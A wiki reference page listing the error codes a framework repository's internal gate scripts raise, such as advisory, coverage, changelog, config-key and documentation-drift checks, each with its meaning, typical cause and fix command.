Skip to content

Error Codes scripts

github-actions[bot] edited this page Nov 16, 2026 · 4 revisions

Error codes: repository scripts

Part of Error codes: the codes this repository's own gate scripts raise. They never ship to an app, so x errors explain does not know them; the row is the whole answer.

Code Means Typical cause Fix
X_ADAPTER_PORT_INCOMPLETE an adapter port is missing part of its contract, or a backend is swapped outside one an ADAPTER_PORTS row (packages/core/src/registrar.ts) lacks its RuntimeOverrides field, its boot binding, its ./adapter export or installer, its @ultimat3/testing/conformance suite, or its wiki/Adapters.md section; or a package barrel exports a set*/configure*/install* installer; or a ./adapter subpath exports a port-shaped interface no row lists. A pin in scripts/lib/adapter-port-pins.ts that excuses nothing is the same finding bun run scripts/adapter-ports.ts --json, then make the edit each finding names in its own fix; for wiki/Adapters.md: bun run scripts/adapter-ports.ts --write
X_ADMIN_FLATTENER_VIOLATION a production @ultimat3/admin file read $meta or called $describe() directly a new admin module reached past entity-columns.ts for column facts take AdminColumnFacts from entity-columns.ts instead
X_ADOPTION_CLAIM_UNGENERATED a published page says who uses Ultimate outside the generated production-apps block a sentence about who runs it in production, its adopters, or a count of apps or teams was written by hand, where it drifts from PRODUCTION_APPS (README and the FAQ once answered "is it in production?" opposite ways). CHANGELOG.md, docs/plans/ and docs/history/ are records and are not read drop the sentence or point at the block; a page that must state it joins PRODUCTION_APPS_FILES in scripts/production-apps.ts, then: bun run scripts/production-apps.ts --write
X_ADVISORY_MANIFEST_MOVED a manifest changed between the audit's read and its write another edit landed while --write ran, so its rewrite was refused bun run scripts/advisory-floors.ts --write
X_ADVISORY_RANGE_OPEN a published package's dependency range admits a release with a published advisory the range's floor sits below the first patched release on its major bun run scripts/advisory-floors.ts --write
X_ADVISORY_UNFLOORABLE an advisory reaches apps through a dependency the framework does not declare the vulnerable package arrives transitively, so no range here can floor it bun update source-map-js immutable, naming the packages the cause lists
X_ADVISORY_UNREACHABLE the advisory audit could not judge a range the npm registry or the GitHub advisory database did not answer within its deadline GH_TOKEN="$(gh auth token)" bun run scripts/advisory-floors.ts
X_BENCH_CLAIM_STALE a realtime capacity figure in CLAUDE.md is not the figure scripts/bench/results/*.json carries the bench was re-run and the prose was not updated, or the prose was edited by hand. A duration renders as (ms / 1000).toFixed(1) seconds and a count comma-grouped every three digits; nothing else is accepted, and a reworded sentence reports as unstated rather than passing silently bun run scripts/bench-claims.ts --json — the fix carries the exact string to write into CLAUDE.md
X_BENCH_RUN_FAILED a bench run produced no publishable figure http-hello got a non-2xx answer or no answer at all (the server refused or died mid-run), its --start command never answered 2xx, or a first-hour step failed in a clean first run. The run is reported with every count, never as a figure curl -si <url> for http-hello; for first-hour, the failed step's command in the work directory the finding names
X_BENCH_RUN_TOO_SHORT http-hello was asked for a run under 10 seconds a shorter run measures warm-up and a handful of requests, not the server, and is refused before a request is sent bun run scripts/bench/http-hello.ts --url <url> --seconds 30
X_BENCH_STREAM_CLOSED the restart benchmark's stdout closed before the line it was waiting for the shard or the server process ended without printing its READY or FINAL line, so the orchestrator was reading a stream that could never answer — the measurement it was about to report was never taken bun run scripts/bench/restart-bench.ts --clients 50000 --out scripts/bench/results/50k-restart.json
X_BENCH_URL_REQUIRED the restart benchmark's client shard was started without --url the shard has no endpoint to connect its clients to, and the orchestrator had already spawned it — a bare Error said nothing a --json reader could act on bun run scripts/bench/restart-bench-client-worker.ts --url <ws-url> --count <n> --offset <n>
X_BOUNDARY_VIOLATION a framework package imports one it may not under scripts/lib/tiers.ts — this repository's own tier rule, distinct from an app's X_BOUNDARY_* codes a sideways or upward import, an import outside a package's declared edges, a type-position import('…'), or a package missing from the tier table move the shared code down a tier or pass it in; for an edge-only package, add the target to SIDEWAYS_ALLOW with the line that earns it; an unknown package goes in the tier table. Then bun run boundaries
X_BREAKING_ON_MAIN a change to main carries a BREAKING — entry under [Unreleased] while the major window is closed after v30, main ships minors and patches only; a break lands on next and reaches main when the window opens (Stability). Read from the pull request's base branch (GITHUB_BASE_REF) or the pushed branch, so a local run without either reads nothing git rebase --onto next main, then retarget the pull request: gh pr edit --base next
X_BROWSER_TRANSPORT_UNSCANNED the rule's fetch seam no longer calls fetch, so every bypass check is vacuous TRANSPORT_SEAMS in scripts/browser-transport.ts names a module that has moved or been renamed. Reported as a blind rule, because "no bypass" is also what a correct tree says edit TRANSPORT_SEAMS in scripts/browser-transport.ts to name the module that calls globalThis.fetch, then bun run browser-transport --json
X_BUDGET_BASE_MISSING budget-raises had no origin/main to compare against, and fetching it failed a checkout with no origin/main — a tag checkout in release.yml, a fork's fresh clone — used to pass with "NO budget was compared" in the summary. It now fetches the one commit first, and refuses only when that fetch fails git fetch --no-tags --depth=1 origin +refs/heads/main:refs/remotes/origin/main, then bun run budget-raises
X_BUDGET_RAISE_UNSTATED a route's budget went up with no measured number and no reason beside it a budget.js literal in a page.tsx / route.ts is higher than the same route's at origin/main's tip, and the comment directly above the budget: line carries no measured: and why: — or carries the same comment origin/main had, which measured the old number, or a measured: above the new budget. Axiom 9 allows the raise; this is its same-diff half. A checkout without origin/main compares nothing, and its summary says so and prints the fetch add // measured: <N> B (bun run x -- build --json) — why: <the function it buys> directly above the budget line, or restore the old value. Then bun run budget-raises
X_CATALOG_CARRIER_UNSCANNED the carried-key rule found no key the framework hands to t() through a constant or a property scripts/catalog-keys.ts derives its carriers from the framework's own dynamic t() calls (t(row.reason), ui.t(UI_KEYS.close)), so a renamed t() or a moved corpus leaves it nothing to check — and a rule with no input reads exactly like a tree with no missing key bun run scripts/catalog-keys.ts --json — then edit DYNAMIC_CALL in scripts/catalog-keys.ts to match how the framework calls t()
X_CATALOG_KEY_UNREACHABLE the framework catalog defines a key no framework source can reach packages/i18n/src/catalogs/en.json carries a key in a namespace the framework itself renders (admin.*, dev.*, ui.*) that no t() call and no key-shaped literal in packages/*/src names — so it describes a screen that no longer exists and reads to the next author as a key that works. An admin.nav.*/admin.table.* block was in that state while every admin screen rendered ⟦admin.list.loading⟧. Namespaces the framework only ships for an app (common.*, auth.*, errors.*, pagination.*, validation.*, time.*) are exempt, derived from the source rather than listed the fix names the key — delete it from packages/i18n/src/catalogs/en.json, or render it: t('<key>') in the view that needs it. Run bun run scripts/i18n-catalog.ts --json
X_CATCH_RENDER_PIN_STALE a package's unsafe-catch pin is above what the tree contains a ratchet may only come down; a pin left above the real count would let that many back in silently the rule is zero-pinned and holds no table: edit scripts/catch-render.ts and delete the pin for the package the finding names
X_CATCH_RENDER_UNSAFE a catch binding is rendered into a refusal by a form that can itself throw catch (error) { … error instanceof Error ? error.message : String(error) } reaching a cause:/fix:/detail:. instanceof throws on a Proxy whose getPrototypeOf throws, String() throws on a null-prototype object or a throwing toString, and ${x} throws on a Symbol — so the refusal becomes an uncoded crash on exactly the hostile input it was written to describe. error-render.ts could not see this: it reads parameters typed unknown, and a catch binding is neither. Measured — it was green before and after a seven-site fix. Fifteen sites across five packages were found by hand in one sweep and none by a gate replace the render at <file>:<line> with renderThrowable(error) from @ultimat3/core
X_CATCH_RENDER_UNSCANNED the unsafe-catch scan read no source file a glob that matches nothing reports a clean tree it never looked at, which is the one failure a ratchet cannot distinguish from success edit SOURCE_PATTERNS in scripts/boundaries.ts
X_CHANGELOG_HIGHLIGHTS_MISSING a release section from 30.0.0 on does not open with ### Highlights of one to five bullets the GitHub Release body is a section's Highlights plus its links (scripts/release-notes.ts); a section with none would publish the raw section, 5,026 characters for 29.4.0 add ### Highlights as the first subsection of that release's docs/changelog/<version>.md, at most five plain user-visible bullets, then bun run scripts/changelog-index.ts --write --json (its index row quotes the first) and bun run scripts/changelog-check.ts --json
X_CHANGELOG_UNRELEASED_EMPTY a change to shipped source adds no [Unreleased] line a pull request edits packages/*/src (not a test or README) and CHANGELOG.md [Unreleased] gains no entry, or there is no origin/main to diff git diff --name-only origin/main -- 'packages/*/src'
X_CHANNEL_LITERAL a channel topic is spelled outside its channel() declaration a string or template literal as the first argument of useChannel, publishRecords, subscribe, unsubscribe or publish, or a topic built by + or a ${…} template. The publisher and the subscriber then drift onto two spellings, and frames arrive nowhere with no error on either side. Tests are fixtures and never reported. As of 2026-09-22 it is standalone and not yet a step of the gate declare it once with channel(name, { params, policy }) from @ultimat3/realtime and pass the declaration: useChannel(decl, params) / publishRecords(decl, params, entity, rows), then bun run channel-literals --json
X_CHANNEL_LITERAL_UNSCANNED the rule's seam was not among the files scanned CHANNEL_SEAM in scripts/channel-literals.ts names a module that has moved, so its exemption names nothing and a clean run proves nothing edit CHANNEL_SEAM in scripts/channel-literals.ts to name the module that declares channel(), then bun run channel-literals --json
X_CHART_VERSION_STALE docker/helm/Chart.yaml's version or appVersion is not the version every publishable workspace is stamped at scripts/release.ts rewrites workspace manifests and a chart is not a workspace, so the number was hand-kept and sat at 0.0.1 through every 1.x release. values.yaml ships image.tag: "", so appVersion is the tag helm install pulls — a stale one is an ImagePullBackOff, not a doc nit bun run scripts/chart-version.ts --json — the fix carries the exact line to write, and a real release now performs it for you
X_CLAUDE_MD_OVERSIZE a CLAUDE.md is over its byte ceiling: 16 KB for the root, 24 KB for a package, or a package file's pin in scripts/lib/claude-md-size-pins.ts history or narrative written into a file every session loads whole; a pinned file may shrink, never grow move the narrative into docs/history/ and link it — never raise a pin
X_CLAUDE_MD_UNSCANNED there is no root CLAUDE.md, or no packages/*/CLAUDE.md was found run from outside the repository root — never read as every file within its ceiling bun run scripts/claude-md-size.ts --json from the repository root
X_CLI_OUTBOUND_ALLOWANCE_STALE an allowlist row names a host the CLI no longer spells a row in CLI_OUTBOUND_ALLOWLIST (scripts/cli-outbound.ts) excuses a host no non-test file in packages/cli/src mentions, so it would excuse the next one silently delete that row from CLI_OUTBOUND_ALLOWLIST in scripts/cli-outbound.ts, then bun run scripts/cli-outbound.ts --json
X_CLI_OUTBOUND_UNDECLARED a non-test packages/cli/src file spells a host not on the allowlist x sends nothing anywhere, and a host literal nobody wrote a reason for is how telemetry or an update check arrives. Every scheme://host in a string literal is read (comments are not); names no machine answers for are exempt — .invalid, .test, .example, example.com/.net/.org, localhost, loopback delete the URL (an example takes app.example.com), or add a row with its why to CLI_OUTBOUND_ALLOWLIST in scripts/cli-outbound.ts, then bun run scripts/cli-outbound.ts --json
X_COMPAT_CELL_RED a test failed on a compat cell the gate unit or live step failed on a Bun, Postgres or Solid version other than the pinned one bun run scripts/compat.ts run --json — the issue body carries the exact replay line for the cell
X_COMPAT_CELL_UNPREPARED a compat cell could not be prepared no Postgres major in the image tag, the registry named no Solid 1.x, or the install left a different solid-js in place bun pm view solid-js versions --json
X_COMPAT_FILE_FAILED the compat filer could not file, comment on or close an issue gh refused a label, list, create, comment, reopen or close call: no token, no issues: write, or the API refused gh auth status && bun run scripts/compat.ts file <part.json…>
X_COMPAT_TABLE_DRIFT the supported-runtimes table differs from the matrix wiki/Stability.md was edited by hand, a compat cell or a pin moved, or a pin cannot be read bun run scripts/compat-table.ts --write
X_COMPAT_UNREADABLE the compat matrix or a part result is unreadable the compat.yml matrix is malformed or repeats an id, or a part printed no --json document grep -n -A30 'matrix:' .github/workflows/compat.yml
X_CONFIG_IMPORT_OUTSIDE_LOADER a file other than packages/cli/src/app-config-load.ts imports an app's app.config.ts a second reader of the config module, with its own defaults and trust policy, beside the one loader read the section off loadAppConfig(root) from app-config-load.ts; a tier-forced exemption is a row in CONFIG_IMPORT_EXEMPT (scripts/lib/config-import.ts) with its reason
X_CONFIG_KEY_READER_AMBIGUOUS an AppConfig leaf key's only "readers" are files matching its bare name, none of them in the section's own package and none spelling the qualified <section>.<key> X_CONFIG_KEY_UNREAD matches a bare property access on purpose — a package takes CacheConfig as a parameter and reads cfg.driver — and that looseness is itself an instance of the defect it hunts. realtime.tier was read by nothing and NINETEEN files matched the bare tier, packages/policy/src/surfaces.ts on the words tier, in its own file header, so the rule built to catch a dead key reported ✓ over one. Nineteen readers should always have been the alarm read the key through its section in its owning package so the qualified path appears in source, or delete it from packages/core/src/config.ts and from defaults(); to keep it deliberately, add it to CONFIG_AMBIGUOUS_PINS in scripts/lib/config-reader-pins.ts with the sentence naming the reader
X_CONFIG_KEY_UNREAD AppConfig declares a key nothing in packages/*/src reads the shape three deleted fields had — pwa.installPrompt, auth.afterSignInPath, ai.modelEnv were each declared, defaulted, merged and read by nobody, so setting them did nothing and said nothing. A ratchet, because a key may be legitimately app-facing; a pin carries the sentence naming its reader, never a boolean delete the key from config.ts and defaults(), or wire it, or pin it with the sentence that names its reader
X_CONFIG_READERS_UNSCANNED the config-reader scan matched no interface or no source same class as an empty glob: a clean answer over nothing read bun run scripts/config-readers.ts --json
X_CONFIG_READER_APP_UNREAD a CONFIG_READER_PINS row says app code reads a key and neither tracked app does the pin's sentence names app code as the reader, and no file of examples/dummy or dummy/social-media-clone reads the key outside app.config.ts, where it is only written — defaultTimeZone and defaultCurrency were pinned that way with no reader anywhere. The repair: delete the key from AppConfig and defaults(), read it from an app module, or rewrite its row so it names no app reader bun run scripts/config-readers.ts --json
X_CONFIG_READER_PIN_STALE a pinned config key gained a reader the pin says nobody reads it and somebody now does bun run scripts/config-readers.ts --unpin <leaf>
X_CONFIG_READER_PIN_UNEXPLAINED an AppConfig leaf key is pinned with a blank reason Object.hasOwn asked whether a row EXISTS and never whether it said anything, so a key pinned with an empty string silenced the rule outright — the waiver axiom 3 refuses. Both tables in the file are guarded, CONFIG_READER_PINS and CONFIG_AMBIGUOUS_PINS write who reads the key — a file under packages/, or a surface outside this repo — in scripts/lib/config-reader-pins.ts; or delete the key from packages/core/src/config.ts and from defaults()
X_CORE_THROWERS_UNSCANNED the core-thrower rule read no file a clean run over nothing proves nothing bun run scripts/declaration-readers-callers.ts --json # from the repo root
X_CORE_THROWER_PIN_STALE a pinned uncalled core thrower now has a caller or no longer exists the slack would admit the next uncalled thrower beside it bun run scripts/declaration-readers-callers.ts --json # after deleting its CORE_THROWER_PINS row
X_CORE_THROWER_UNCALLED a @ultimat3/core export that throws a coded error has no non-test caller a refusal nobody receives — assertEnvExample was one, deleted in 25.0.0; it reads as protection and protects nothing bun run scripts/declaration-readers-callers.ts --json # after deleting it, calling it, or pinning it as app-facing API with its caller
X_CORPUS_UNSCANNED a whole-tree guard read fewer files than its scope's floor, or could not read part of it, or scripts/lib/workspaces.ts enumerated no publishable workspace (registry-audit, release, list-workspaces) scripts/lib/corpus.ts reads each scope (source, packages, shipped, tests) once per process; this repository's floor is 1,000 files (500 for tests) and any other root must read at least one. An unreadable directory (EACCES) is refused whatever else was found — a guard over it would report a clean tree it never read bun install && bun run verify --only unit — the usual cause is an unreadable or half-checked-out tree
X_COVERAGE_BELOW a package's own src/ is under the coverage floor the floor is 95% lines and functions, or that package's lower entry in scripts/lib/coverage-pins.ts — a pinned package may not fall further. Scoped to the package's own files on purpose: bun test packages/<pkg> loads everything it imports and Bun's summary averages over all of it, which read @ultimat3/cache at 35% while its own sources were at 98.8% cover the gap with tests beside the source, then bun run scripts/coverage-gate.ts --package <pkg> --json. For a pinned package the finding says what the pin recorded, and restoring that is the edit
X_COVERAGE_PIN_STALE a package now clears its coverage pin and the pin is still there either it reached the 95% target outright, or it is more than 1.5 points above its pin — a ratchet measured against last quarter catches nothing delete that package's entry from COVERAGE_PINS in scripts/lib/coverage-pins.ts, or raise it to the measured numbers; bun run scripts/coverage-gate.ts --all --json prints both
X_COVERAGE_UNMEASURED coverage was read from a suite that did not measure it three shapes: no lcov record names the package at all, so the percentage is over nothing; the suite wrote no report because it never finished; or files with executable code have no lcov record, which makes them absent from the percentage rather than counted as zero — the one direction an unmeasured file must never move it bun test --coverage packages/<pkg> and fix what it reports. For unimported files the finding lists them: import each from a test beside it
X_DEAD_DOCS_HOST a shipped source file builds a URL on ultimate.dev that host answers HTTP 404 on every path, and it shipped as the docs: line of roughly ninety error declarations plus a docsFor(code) helper in four packages — so the link an operator was handed at the moment of a failure went nowhere. A ratchet: the sweep was done once and nothing stopped it regrowing, because scripts/new-package.ts wrote the dead URL into every future package's errors.ts template. Only a string literal is reported; a comment naming the host as the thing that was removed cannot 404 (packages/core/src/error-codes.ts:26 is the precedent) delete the docs: line the finding names — UltimateError resolves the registered descriptor, whose default is ERROR_DOCS_URL from @ultimat3/core; if it is not an error link, import ERROR_DOCS_URL rather than writing a second host
X_DEAD_DOCS_HOST_PIN_STALE a package is pinned above the number of dead-host URLs it still has the pin outlived the fix, so it would let that many back in the rule is zero-pinned and holds no table: edit scripts/dead-docs-host.ts and delete the pin for the package the finding names
X_DEAD_DOCS_HOST_UNSCANNED the scan read no source file same class as an empty glob: every package reports zero and the ratchet enforces nothing edit SOURCE_PATTERNS in scripts/boundaries.ts so it matches this repo layout, then bun run scripts/dead-docs-host.ts
X_DECLARATION_READERS_UNSCANNED the declaration scan walked nothing a glob matching no file, or a factory signature the scan no longer recognises. Both read exactly like a tree with no dead key in it, which is the one failure a ratchet cannot tell from success check that packages/*/src/**/*.{ts,tsx} still matches this layout and that a primitive factory still takes a named interface, then bun run scripts/declaration-readers.ts --json
X_DECLARATION_READER_PIN_STALE a pin in that ratchet no longer holds two causes, one code, and the cause says which: the key gained a reader, so the pin would let the next dead key in beside it; or the key was deleted, so the pin outlived its key and records a debt that cannot come due edit scripts/declaration-readers.ts — delete the waiver in DECLARATION_READER_PINS for the leaf the finding names
X_DECLARED_KEY_UNREAD a leaf key of a declaration surface — the type a primitive or a define* factory takes — is read by nothing in packages/*/src the same defect X_CONFIG_KEY_UNREAD catches on AppConfig, one surface over, where no rule existed. Measured: packages/render/src/route.ts declared budget.css, budget.cls and budget.tbt, registerRoute flattens a budget to budgetJs + budgetLcp, and every reader downstream reads only those two — so budget: { cls: 0.1 } was ignored in silence while x verify's own budgets step reported green. A ratchet, and a pin whose reason is blank is a finding too delete the key from its declaration, or wire it and prove the read; to keep it deliberately, add it to DECLARATION_READER_PINS in scripts/declaration-readers.ts with the sentence naming who reads it
X_DEPENDENCY_ALLOWLIST_STALE an allowlist row names a dependency no manifest declares the dependency was removed and the row stayed, so a later declaration of the same name would be waved through delete the row the cause names from scripts/lib/dependency-allowlist-data.ts, then bun run scripts/dependency-allowlist.ts --json
X_DEPENDENCY_NOT_ALLOWLISTED a workspace manifest declares an external dependency with no allowlist row a new dependency was added without the stated reason root CLAUDE.md requires add the named manifest, field and dependency to scripts/lib/dependency-allowlist-data.ts with a reason, then bun run scripts/dependency-allowlist.ts --json
X_DEPENDENCY_RANGE_CONFLICT a root and workspace dependency pair has no shared version, or a range cannot be parsed the root package.json and a workspace manifest declare ranges that no single version satisfies, or the guard cannot compare them because a range uses invalid or unsupported syntax. The cause distinguishes these branches and names the dependency and both manifests with their ranges run bun run scripts/dependency-allowlist.ts --json — correct invalid or unsupported range syntax when the cause says it cannot be read; otherwise reconcile the ranges so a single version satisfies both
X_DEPENDENCY_UNSCANNED the dependency guard read no workspace manifest, or no manifest declared a dependency the root manifest could not be read, or the workspace globs matched nothing — the allowlist then enforces nothing run bun run scripts/dependency-allowlist.ts --json from the repository root
X_DERIVED_DOC_COUNT_STALE a current-prose UI component, scale-ladder seam-row, or request-pipeline stage inventory differs from its source-derived count a source inventory changed and its prose claim was left behind, or the claim was hand-edited. The guard derives the component inventory packages/ui/CATALOG.md prints, the shipped ladder rows, and PIPELINE_STAGES; it does not trust another prose page bun run scripts/derived-doc-counts.ts --json — write the finding's derived count at the named claim
X_DERIVED_DOC_COUNT_UNSCANNED no current-prose claim for one source-derived documentation inventory matched the scan a required claim was removed or rephrased so the guard cannot inspect it. A count guard that reads no claim is a false green restore a matching claim in the paths declared by CLAIMS in scripts/derived-doc-counts.ts, then bun run scripts/derived-doc-counts.ts --json
X_DOCKERFILE_DEPS_DRIFT a tracked app's docker/Dockerfile installs differently from the scaffold template its stages up to and including the one that runs bun install are not the ones x new writes (packages/cli/src/templates/scaffold-container.ts), instruction for instruction, comments aside. Anything copied ahead of the install keys its layer: a copied apps/ or packages/ source makes every page edit a full reinstall bun run scripts/dockerfile-template.ts --write — splices the template's install stages over the drifted app's, and keeps the rest of the file
X_DOC_BOUNDARY_RULES_STALE docs/architecture/02-boundaries.md states a rule count or codes that differ from BOUNDARY_CODES the page an agent reads to learn the boundary rules lists a different set than the build enforces bun run scripts/boundary-rule-docs.ts --json # then edit the count or the table to BOUNDARY_CODES
X_DOC_BOUNDARY_RULES_UNSCANNED the boundary-rules section, its count sentence or its table is missing a clean run over nothing proves nothing bun run scripts/boundary-rule-docs.ts --json
X_DOC_CAUSE_ECHOES_TITLE a row of this page states its title again as its typical cause the row was written with no cause of its own — bun run new-error-code used to copy --title into the cell when none was given — so it says what failed twice and why it fails never, the half an agent reads to know what to look for bun run scripts/doc-fixes.ts --json names each row and line; rewrite its Typical cause cell. A new code takes one as bun run new-error-code <CODE> … --cause '<what usually makes it happen>'
X_DOC_CHANGELOG_SECTION_INVALID a changelog section is not one section CHANGELOG.md is the index ([Unreleased] and a ## Releases table) and each release is docs/changelog/<version>.md: a ## X.Y.Z section written into the index, a release file that is not exactly one ## X.Y.Z - YYYY-MM-DD section named for its file, a table row missing or out of step with its file, or no release file at all (every changelog rule would read nothing) is this code, from scripts/lib/changelog-index.ts. Two ## headings name the same version, or a released section has no body. scripts/release.ts raises the same code for the third shape, refusing before a manifest is written: an [Unreleased] with no body and no commit since the previous tag would ship a version section that says nothing. A fourth sits under the same code in scripts/changelog-check.ts: a released section whose body is the auto-generated ### Commits block alone — what promoteUnreleased appends when [Unreleased] held no human-written notes — so the release it names shipped no release notes of its own ([Unreleased] itself is exempt: its notes are simply not written yet). The release script used to append a section generated from commit subjects instead of promoting [Unreleased], and that is what put two ## 5.0.1 headings and two ## 5.0.0 headings in the file — a dateless generated one above the hand-written one, each time. Both pairs sat there from the release: 5.0.1 commit until release: 6.0.0 merged them by hand bun run scripts/changelog-index.ts --write --json moves a release section out of the index and rewrites the table. Otherwise merge the two sections into one, or delete the generated one, then bun run scripts/changelog-check.ts --json — it names the file and line. For the empty case, write the notes under ## [Unreleased] in CHANGELOG.md and run the release again. For the commits-only case, write the human-written release notes in the docs/changelog/<version>.md the cause names, above the ### Commits block, then bun run scripts/changelog-check.ts --json
X_DOC_CHANGELOG_UNRELEASED_BREAKING BREAKING — entries sit under ## [Unreleased] on a tagged commit the release did not promote [Unreleased], so the tag's own section does not hold the migration wiki/Upgrading.md sends the reader to. The commit before release: 6.0.0 was exactly that: the migration as it stood then — five BREAKING — entries — under ## [Unreleased], wiki/Upgrading.md already sending the reader to a 6.0.0 section the file did not yet have, and a human promoting it by hand in the release commit. Only fires where git tag --points-at HEAD names a vX.Y.Z — between releases [Unreleased] is where a breaking entry belongs bun run scripts/release.ts --bump major --dry-run --json validates the promotion and writes nothing; the same command without --dry-run performs it. Promotion is now the only path — the script cannot append
X_DOC_COMMAND_ALLOWANCE_STALE an entry in DOC_COMMAND_ALLOWANCES matches nothing in the tree the page was fixed or deleted and its licence to name a non-command outlived it. The list may only shrink by being wrong, so a stale entry is a finding rather than dead weight delete the entry from scripts/doc-commands-allow.ts that the finding names
X_DOC_COMMAND_PIN_EXCEEDED a page holds more unresolved x citations than its pin the two directions used to share one message whose fix said to set the pin to the found count — a ratchet printing the instruction for raising itself, in a file whose own comment says it may only come down x help --json # then correct the citations that name no invocation it lists
X_DOC_COMMAND_PIN_STALE a pinned unresolved x citation (a page + invocation site in DOC_COMMAND_PINS) is no longer there, or a page holds one its pins do not name the ratchet in DOC_COMMAND_PINS. Widening the globs to packages/*/*.md found 23 citations that no rule had ever read, so they are pinned per site (page + invocation) and may only shrink — a pin above the real count is slack a new broken line would spend bun run scripts/doc-commands.ts --json names the file and both numbers; set the pin to the first one, or delete the entry at 0
X_DOC_COMMAND_UNKNOWN a page in wiki/ or docs/ hands the reader an x invocation this build cannot run the command, its subcommand, its positional or one of its flags does not exist — a renamed flag (--from for --from-step), a plural that moved (x entity for x entities), or a command that never shipped bun run scripts/doc-commands.ts --json; x help --json lists every command, subcommand and flag
X_DOC_COMMAND_UNSCANNED no page was read, so nothing was checked the doc globs match nothing — a directory renamed, or the check run from outside the repo root bun run scripts/doc-commands.ts --json from the repo root
X_DOC_CONFIG_ALLOWANCE_STALE an entry in DOC_CONFIG_KEY_ALLOWANCES matches nothing in the tree the page was fixed or deleted and its licence to cite an unknown key outlived it. The list may only shrink by being wrong, so a stale entry is a finding rather than dead weight delete the { path, cites } entry the finding names from DOC_CONFIG_KEY_ALLOWANCES in scripts/doc-config-keys.ts
X_DOC_CONFIG_KEY_UNKNOWN a page tells a reader to set a key AppConfig does not declare only x <command> citations were resolved, so a fix: naming a deleted config key passed every gate — jobs.driver was cited four times in docs/ after 5.0.0 removed it, and two more pages cited pwa.backgroundSync.retry.maxAttempts (the field is a boolean) and realtime.url (it is urlEnv). A phrase-anchored negation filter keeps pages that correctly record a deletion out of the count name a key AppConfig declares — bun run scripts/config-readers.ts --json lists every leaf
X_DOC_FILE_COUNT_STALE a page states a file count for a generator that the generator no longer emits the count is hand-copied and the template list moved. x new 125, --no-example 99, x g resource 27, --live --admin 29 and x g action 9 were held by nobody; five had gone stale at once, and wiki/Tutorial-02-First-Feature.md was two further out because it states its numbers in prose rather than a table bun run scripts/generator-counts.ts --json — each finding carries the number to write. Re-derive it yourself with x g <kind> <name> --dry-run --json or x new <app> --dry-run --json and count data.files
X_DOC_FILE_COUNT_UNSCANNED no page states a generator file count, so the rule read nothing the doc globs stopped matching, or the phrasing the rule recognises changed. Reported rather than skipped: a rule with no input answers exactly what a clean tree answers, which is a false green check DOC_GLOBS in scripts/doc-commands.ts still matches the pages, and CLAIM in scripts/generator-counts.ts still matches how they state a count
X_DOC_FIX_DISAGREES a Fix cell on this page names no remedy its code's throw sites register the page or the source's fix: was rewritten and the other was not — the command, call, file or environment name in one appears nowhere in the other. Wording, backticks and <placeholder> spellings are not compared. Reported only above the ratchet in scripts/doc-fix-agreement.ts, every disagreement listed bun run x -- errors explain <CODE> --json, then rewrite that row's Fix cell to name the registered fix — or correct the throw site's fix: if the page is right
X_DOC_FIX_DISAGREES_PIN_STALE fewer Fix cells disagree with their registered fix than the ratchet allows a row was agreed and DISAGREEMENT_PIN was not lowered, so a new disagreement could take its place unseen grep -n 'DISAGREEMENT_PIN =' scripts/doc-fix-agreement.ts, and set it to the count the finding names
X_DOC_FIX_UNRUNNABLE a Fix cell of this page cannot be run as written the cell cites an x command, subcommand or flag this build does not ship, passes a bare word its command's usage line has no slot for (x routes list --json), or it says "check"/"see the docs" and names no command, call or file. The page an agent is sent to on an error answering with a second error is axiom 4 broken at the one point it is needed bun run scripts/doc-fixes.ts --json — each finding names the code, the line and the exact reason
X_DOC_FIX_UNSCANNED wiki/Error-Codes.md could not be read, or holds no Fix column the page was moved or renamed, or its header row was edited so the column is no longer found by name. Reported rather than skipped: a check whose input has vanished must fail, or it is a false green bun run scripts/doc-fixes.ts --json, then restore the page or its Fix header
X_DOC_GATE_STEPS_STALE a page states how many steps x verify runs, or enumerates them, and describes a gate this build does not run a step was added and the count was not — seo shipped as the 18th and 20 files went on saying 17 through a whole major release. The list form fails the same way with a right count: an inserted step missing from an enumeration bun run scripts/gate-steps.ts --json — each finding carries the number or the ordered list to write
X_DOC_GATE_STEPS_UNSCANNED no page states a step count or enumerates the gate, so the rule read nothing the globs match nothing, or every page that stated the count was deleted. Reported rather than skipped: a rule with no input is a false green, not a pass bun run scripts/gate-steps.ts --json from the repo root
X_DOC_GUARD_REFRESH_UNSTATED a shipped guard template changed and wiki/Upgrading.md names no x g guard refresh for it an app's guards/ copy is its own and x upgrade never rewrites it, so a changed template reaches the app only through x g guard <name> --force. Every guard whose packages/cli/src/templates/guard-*.ts changed between the last two release tags, or since the latest one (a helper spliced into guards counts for each guard importing it), must be named in one Upgrading row or paragraph together with x g guard and a version of that range — any version past the latest tag for [Unreleased]. 31.4.0 and 31.4.1 changed twelve and the page said nothing git diff --name-only v<previous> v<latest> -- packages/cli/src/templates/ lists them; write the row, then bun run changelog-check --json
X_DOC_MIGRATION_COUNT_STALE a wiki/Upgrading.md count is not the count of the section it names three shapes, one code: a row claiming a number that major's own docs/changelog/<major>.0.0.md does not hold, the aggregate row disagreeing with the sum of the per-major rows, and a released major from 2.0.0 on with no row at all. The count used to be derived from the WHOLE file, which cannot see a migration filed under the wrong heading — a misplaced entry only makes the number smaller bun run scripts/changelog-check.ts --json — each finding carries the number that section actually holds; write that number into the cell, or add the missing row
X_DOC_MIGRATION_RANGE_STALE a walkthrough cites an entry or upgrade step it has no row for an Entries cell of The upgrade, top to bottom, a package range in the Entry by entry intro, or a lead callout ("entries 88–90, upgrade steps 32–34") names a number the walkthrough's own table does not have — or the intro's package ranges leave a row uncovered or cover one twice bun run scripts/changelog-check.ts --json — it names the line in wiki/Upgrading.md to correct
X_DOC_MIGRATION_SECTION_MISSING a released major has a summary row in wiki/Upgrading.md and no → X.Y.Z, entry by entry section for it to point at the row is a promise and the section is the thing promised. X_DOC_MIGRATION_COUNT_STALE verifies the row's text and never that the section exists — which is how 1.x → 2.0.0 pointed at nothing through six releases, for the largest major this project has shipped write the walkthrough in wiki/Upgrading.md under a heading of the form ## 1.x → 2.0.0, entry by entry naming the version the cause names, one subsection per entry of that section of CHANGELOG.md
X_DOC_MIGRATION_UNPAIRED a BREAKING — line and the Upgrading entry that migrates it do not pair one-to-one from 23.0.0 on, each BREAKING — line in CHANGELOG.md names its row of that major's Entry by entry table as (#N) straight after the dash. A line with no key, a key named twice or out of order, a key with no row, or a row no line names is a finding: the count rule (X_DOC_MIGRATION_COUNT_STALE) agrees when one line is added on each side for two different changes bun run scripts/changelog-check.ts --json — it names the lines; write (#N) after each dash, N the row in wiki/Upgrading.md
